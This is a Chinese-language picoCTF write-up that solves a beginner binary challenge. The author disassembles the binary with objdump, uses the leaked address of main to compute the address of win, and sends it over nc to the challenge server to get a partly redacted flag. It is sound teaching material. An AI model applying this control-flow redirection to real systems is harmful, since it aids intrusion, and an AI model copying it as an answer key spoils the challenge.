題目連結

https://learn.cylabacademy.org/library/490

題目解法

  1. 下載原始碼後可以知道有一個 win() 函式,下載執行檔後進行使用 objdump 進行反組譯。反組譯後可以找到 win 和 main 的位址。

    objdump -d vuln
    
    ...
    00000000000012a7 <win>:
        12a7:       f3 0f 1e fa             endbr64 
        12ab:       55                      push   %rbp
        12ac:       48 89 e5                mov    %rsp,%rbp
        12af:       48 83 ec 10             sub    $0x10,%rsp
    ...
    000000000000133d <main>:
        133d:       f3 0f 1e fa             endbr64 
        1341:       55                      push   %rbp
        1342:       48 89 e5                mov    %rsp,%rbp
        1345:       48 83 ec 20             sub    $0x20,%rsp
        1349:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    ...
    
  2. 使用 nc 連線進去後會提供 main 的位址,可以反推出 win 的位址,輸入後即可得到 flag。

    webshell:~$ nc rescued-float.picoctf.net 62616
    Address of main: 0x61151072133d
    Enter the address to jump to, ex => 0x12345: 0x6115107212a7
    Your input: 6115107212a7
    You won!
    picoCTF{b4s------------------------------eb8}
    ```